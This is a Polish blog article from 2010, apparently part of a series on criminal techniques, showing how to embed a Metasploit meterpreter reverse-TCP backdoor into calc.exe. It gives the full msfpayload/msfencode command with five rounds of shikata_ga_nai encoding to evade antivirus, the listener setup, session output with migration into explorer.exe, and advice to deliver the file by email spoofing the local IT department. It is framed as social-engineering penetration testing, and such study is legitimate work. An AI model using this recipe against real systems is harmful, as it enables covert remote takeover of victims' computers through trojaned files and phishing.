30 marca 2010

Tak robią to komputerowi przestępcy IV (dodanie złośliwego kodu do pliku EXE)

W ramach cyklu Tak robią to komputerowi przestępcy... omówiliśmy już przykładowy atak z wykorzystaniem specjalnie spreparowanej strony WWW, przykładowy atak phishingowy, oraz jeden z popularnych sposobów na przejęcie cudzego konta e-mail. Dziś natomiast zapoznamy się z prostym sposóbem na umieszczenie potencjalnie niebezpiecznego kodu w dowolnym pliku wykonywalnym EXE.

O funkcję pozwalającą na umieszczenie własnego potencjalnie szkodliwego kodu (payloadu) w dowolnym (jest to pewne uproszczenie, tak naprawdę na chwile obecną często napotkamy problemy w działaniu wynikowego pliku) pliku wykonywalnym EXE wzbogaciło się ostatnio środowisko Metasploit Framework. Myli się ten, kto dla takiej funkcji widzi wyłącznie zastosowania niezgodne z prawem. Tego typu plik możemy w pełni legalnie wykorzystać do przeprowadzania socjotechnicznych testów penetracyjnych. Spróbujmy więc dołączyć do obecnego w każdym systemie Windows pliku calc.exe wybranego przez nas backdoora.

Jak zwykle skorzystamy ze stworzonego z myślą o testach penetracyjnych systemu Linux BackTrack 4 Final. W celu utworzenia naszego pliku, wykorzystamy moduł msfpayload oraz payload windows/meterpreter/reverse_tcp. Jako bazowy plik posłuży nam calc.exe z systemu Windows XP SP3 (plik ten należy mieścić w systemie Backtrack w katalogu /opt/metasploit3/msf3). Polecenie pozwalające na utworzenia naszego pliku ma następującą postać:
  • ./msfpayload windows/meterpreter/reverse_tcp LHOST= 192.168.11.134 R | ./msfencode -t exe -x calc.exe -k -o calc_backdoor.exe -e x86/shikata_ga_nai -c 5
Warto zwrócić uwagą na parametr LHOST (określający adres, z którym payload ma nawiązać połączenie zwrotne – czyli adres komputera na którym będzie nasłuchiwał listener) oraz na zastosowane pięciokrotne kodowanie shikata_ga_nai, którego zadaniem jest utrudnienie pracy programom antywirusowym. W wyniku otrzymamy plik calc_backdoor.exe.

Teraz wystarczy już tylko przygotować listener zdolny do odebrania połączenia zwrotnego z maszyny, w której nasz backdoor zostanie uruchomiony. Dokonamy tego w następujący sposób za pomocą msfconsole:
root@bt:/opt/metasploit3/msf3# ./msfconsole msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.11.134
LHOST => 192.168.11.134
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.11.134:4444
[*] Starting the payload handler…
Teraz wystarczy już tylko przekonać użytkownika docelowego systemu do otwarcia naszego specjalnego kalkulatora, po czym otrzymamy możliwość przejęcia kontroli nad jego systemem:
[*] Sending stage (748032 bytes) [*] Meterpreter session 3 opened (192.168.11.134:4444 -> 192.168.11.135:51695)
W tym momencie warto przenieść się do innego procesu, tak by zamknięcie kalkulatora przez użytkownika docelowego systemu nie spowodowało jednocześnie zamknięcia naszej sesji:
meterpreter > getuid Server username: WINXPSP3\user
meterpreter > run migrate explorer.exe
[*] Current server process: calc_backdoor.exe (3360)
[*] Migrating to explorer.exe...
[*] Migrating into process ID 1592
[*] New server process: Explorer.EXE (1592)
meterpreter > getuid
Server username: WINXPSP3\user
meterpreter > getpid
Current pid: 1592
meterpreter >
Udało nam się więc przejąć całkowitą kontrolę nad docelowym systemem.

Tego typu plik można z powodzeniem wykorzystać do przeprowadzenia bardzo interesujących i nietypowych (socjotechnicznych) testów penetracyjnych. Wystarczy tylko przykładowo rozesłać użytkownikom nasz plik w załączeniu do e-maila wyjaśniającego w zręczny sposób (manipulacja adresem nadawcy pozwoli nam wystąpić w roli lokalnego działu informatycznego) konieczność używania nowego, lepszego kalkulatora...

Co do programów antywirusowych, to na chwilę obecną wygenerowany przeze mnie plik jest oznaczany jako zagrożenie tylko przez 11 z 42 silników antywirusowych dostępnych w ramach VirusTotal. Mamy więc sporą szansę na pomyślne wykonanie takiego testu.

Artykuł autorski HCSL - Wojciech Smol